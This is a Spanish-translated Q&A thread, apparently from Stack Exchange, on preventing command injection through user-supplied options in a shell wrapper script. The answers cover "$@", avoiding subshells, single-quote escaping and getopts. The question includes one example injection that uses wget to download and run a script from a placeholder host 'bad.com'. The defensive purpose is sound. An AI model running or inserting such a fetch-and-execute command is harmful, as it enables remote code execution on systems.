¿Cómo evitar la inyección de comandos a través de las opciones de comando?

13

Tengo una aplicación de contenedor donde necesito permitir que el usuario especifique opciones personalizadas para pasar a un simulador. Sin embargo, quiero asegurarme de que el usuario no inyecte otros comandos a través de las opciones del usuario. ¿Cuál es la mejor manera de lograr esto?

Por ejemplo.

  • El usuario proporciona: -a -b
  • La aplicación se ejecuta: mysim --preset_opt -a -b

Sin embargo, no quiero que esto suceda:

  • El usuario proporciona: && wget http:\\bad.com\bad_code.sh && .\bad_code.sh
  • La aplicación se ejecuta: mysim --preset_opt && wget http:\\bad.com\bad_code.sh && .\bad_code.sh

Actualmente, estoy pensando que podría simplemente rodear cada opción proporcionada por el usuario con comillas simples 'y eliminar cualquier comilla simple proporcionada por el usuario, para que el comando en el último ejemplo resulte ser inofensivo:

mysim -preset_opt '&&' 'wget' 'http:\\bad.com\bad_code.sh' '&&' '.\bad_code.sh'

Nota: El mysimcomando se ejecuta como parte de un script de shell en un contenedor docker / lxc. Estoy ejecutando Ubuntu.

Victor Lyuboslavsky
fuente
¿Estás utilizando evalpara ejecutar la aplicación? Si no es así, la inyección no debería ocurrir:x="&& echo Doomed" ; echo $x
choroba
1
No, no estoy usando eval. Estoy llamando al ejecutable mysimdentro de un script de shell. Estoy viendo que la inyección ocurre si simplemente copio la cadena de opciones que proporciona el usuario y la pego al final del mysimcomando.
Victor Lyuboslavsky
¿La aplicación de envoltura copia y pega la cadena de opciones?
choroba
Sí, las opciones de usuario vienen como una sola cadena, como -a -b. Así que estoy buscando asegurarme de que no se inyecten comandos adicionales en esa cadena.
Victor Lyuboslavsky
1
¿puedes incluir en la lista blanca? solo permitir que los personajes [a-zA-Z0-9 _-]parezca una opción bastante defensiva.
Ulrich Schwarz

Respuestas:

6

Si tiene control sobre el programa contenedor, asegúrese de que no invoque una subshell. En el fondo, una instrucción para ejecutar un programa consiste en la ruta completa (absoluta o relativa al directorio actual) al ejecutable, y una lista de cadenas para pasar como argumentos. La búsqueda de RUTA, los argumentos de separación de espacios en blanco, las citas y los operadores de control son proporcionados por el shell. Sin caparazón, sin dolor.

Por ejemplo, con un contenedor Perl, use la forma de lista de execo system. En muchos idiomas, llame a una de las funciones execo execXXX(o unix.execcomo se llame) en lugar de system, o os.spawncon shell=False, o lo que sea necesario.

Si el contenedor es un script de shell, úselo "$@"para pasar los argumentos, por ej.

#!/bin/sh
mysim -preset-opt "$@"

Si no tiene otra opción y el programa contenedor invoca un shell, deberá citar los argumentos antes de pasarlos al shell. La manera fácil de citar argumentos es hacer lo siguiente:

  1. En cada argumento, reemplace cada aparición de '(comilla simple) por la cadena de cuatro caracteres '\''. (por ejemplo, se don'tconvierte don'\''t)
  2. Agregue 'al comienzo de cada argumento y también al final de cada argumento. (por ejemplo don't, de , se don'\''tconvierte 'don'\''t')
  3. Concatenar los resultados con un espacio intermedio.

Si necesita hacer esto en una envoltura de shell, aquí hay una manera.

arguments='-preset-opt'
for x; do
  arguments="$arguments '"
  while case $x in
    *\'*) arguments="$arguments${x%%\'*}'\\''"; x=${x#*\'};;
    *) false;; esac
  do :; done
  arguments="$arguments$x'"
done

(Desafortunadamente, la ${VAR//PATTERN/REPLACEMENT}construcción de bash , que debería ser útil aquí, requiere citas extrañas, y no creo que pueda obtenerla '\''como texto de reemplazo).

Gilles 'SO- deja de ser malvado'
fuente
1

Puede usar el ${VAR//PATTERN/REPLACEMENT}modismo de Bash para transformar una comilla simple 'introduciendo '\''primero '\''una variable (como un paso intermedio) y luego expandiendo esta variable como el REPLACEMENTelemento en el modismo de Bash mencionado.

# example 
{
str="don't"
escsquote="'\''"
str="'${str//\'/${escsquote}}'"
printf '%s\n' "$str"   #  'don'\''t'
}
yalo
fuente
0

Puede utilizar getoptsen el bashque puede analizar los argumentos para usted, por ejemplo:

while getopts a:b: opts; do
  case ${opts} in
    a)
      A=${OPTARG}
      ;;
    b)
      B=${OPTARG}
      ;;
  esac
done
kenorb
fuente